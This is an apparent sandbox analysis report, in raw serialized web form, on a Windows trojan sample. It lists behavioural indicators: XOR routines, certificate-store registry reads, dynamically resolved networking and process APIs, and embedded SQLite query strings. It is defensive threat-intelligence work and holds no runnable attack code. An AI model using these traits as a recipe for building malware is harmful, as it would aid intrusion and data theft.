34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 70:I[27201,["$1","$2","$3","$4","$5"],"IconMark"] 33:T48d,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Malware Sample df63e9e7bf02… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample df63e9e7bf02…. Malware family: Malware. Threat score 100/100. 8/27 AV engines flagged this file. 24 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/df63e9e7bf0246895aac5f1cad91cb94a066caa5280312b23e223b06cfd5d0bc","keywords":["Malicious","Malware","malware analysis","sandbox report","threat intelligence","df63e9e7bf0246895aac5f1cad91cb94a066caa5280312b23e223b06cfd5d0bc"],"about":{"@type":"SoftwareApplication","name":"SecuriteInfo.com.Win32.TrojanX-gen.11896.11156","applicationCategory":["peexe","executable"],"identifier":"df63e9e7bf0246895aac5f1cad91cb94a066caa5280312b23e223b06cfd5d0bc","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Malware","antivirusDetections":{"malicious":8,"total":27},"behavioralIndicators":{"malicious":24,"suspicious":26},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T400,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp, 00000000-00007268.00000000.66578.02EB0000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp, 00000000-00007268.00000000.66578.02EB0000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp")37:T472,Assembly shows XOR instruction xor bl byte ptr [esi] in Stream UID: 63349-2-004625A0 Assembly shows XOR instruction xor edx eax in Stream UID: 63349-2-004625A0 Assembly shows XOR instruction xor eax EBB03850h in Stream UID: 63349-2-004625A0 Assembly shows XOR instruction xor dword ptr [ebp+274409D1h] edx in Stream UID: 63349-2-004625A0 Assembly shows XOR instruction xor al byte ptr [edi] in Stream UID: 63349-2-004625A0 Assembly shows XOR instruction xor dword ptr [eax+62E9D00Ch] esp in Stream UID: 63349-2-004625A0 Assembly shows XOR instruction xor ch byte ptr [esi+0Dh] in Stream UID: 63349-2-004625A0 Assembly shows XOR instruction xor byte ptr [ebp+683F919Bh] bl in Stream UID: 63349-2-004625A0 Assembly shows XOR instruction xor eax edx in Stream UID: 63349-4-0092004A Assembly shows XOR instruction xor edx eax in Stream UID: 63349-4-0092004A Assembly shows XOR instruction xor esi 04240948h in Stream UID: 63349-4-0092004A Assembly shows XOR instruction xor byte ptr [ebx] F7h in Stream UID: 63349-4-0092004A Assembly shows XOR instruction xor dword ptr [esp] 15EB18A1h in Stream UID: 63349-4-0092004A38:Tfb2,"SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000018000000da2aecd2932df4737804af00687d2f7520f4af00705df47336fab5a1feffffff3cf3af002248f373e0f2af000000b374d8f3af003b48f373e0df5a7608000000000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff340000000000000068f3af00000000000800000000000000000000000000000000000000000000000000b374b22aecd200000000a8f3af0069921776ffffffff3400000068f3af0008000000000000000000b374d8f3af002794177670f3af000b00000000000000c0f3af00 (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e02c8f7604f3af00226e5d750000e004000000002d6e5d758cdd62bc2d000000ecb7857688f3af00b1ce9800d887ec0228adeb020900000080000000c8f2af00000079004cf3af0070c85e75705faec9feffffff2d000000d0cc9476270000001cf3af00856a5f751c2364755cf3af00f85f5f7508000000bb695e75b2695e75d4dd62bc2d000000ecb7857627000000d0cc947630f3af002d000000d0cc94762700000060f3af00856a5f751c236475a8f3af007e8a9376ee8c9376738a9376f15542f22d000000ecb7857627000000d0cc9476fc9ae004909ae004f15542f270f3af00fc52d1765cf4af00e084937661572284feffffff738a9376 (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007268)39:Tbdc,"SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "")3a:T673,"SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")3b:Te33,"SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter NTDLL.dll (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter NTDLL (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter SETUPAPI.dll (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter RstrtMgr.DLL (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter WININET.DLL (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00007268)3c:T2b8f,"SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter timeGetTime (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter NtOpenThread (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter RtlAllocateHeap (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter GetTempPath2W (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter InternetOpenA (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter InternetSetOptionA (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter HttpOpenRequestA (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter InternetConnectA (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter InternetOpenUrlA (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter HttpQueryInfoA (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter InternetQueryOptionA (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter HttpSendRequestA (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter InternetReadFile (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter InternetCloseHandle (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter WinHttpConnect (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter WinHttpQueryHeaders (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter WinHttpOpenRequest (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter WinHttpQueryDataAvailable (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter WinHttpSendRequest (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter WinHttpReceiveResponse (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter WinHttpReadData (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00007268) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00007268)3d:Tb79,"CREATE TABLE sqlite_master(" (Source: 00000000-00007268.00000000.66578.000B1000.00000040.mdmp, Indicator: "create table sqlite_master(") "CREATE TABLE" (Source: 00000000-00007268.00000000.66578.000B1000.00000040.mdmp, Indicator: "create table") "SELECT name, rootpage, sql FROM '%q'.%s WHERE %s" (Source: 00000000-00007268.00000000.66578.000B1000.00000040.mdmp, Indicator: "select name, rootpage, sql from '%q'.%s where %s") "UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' 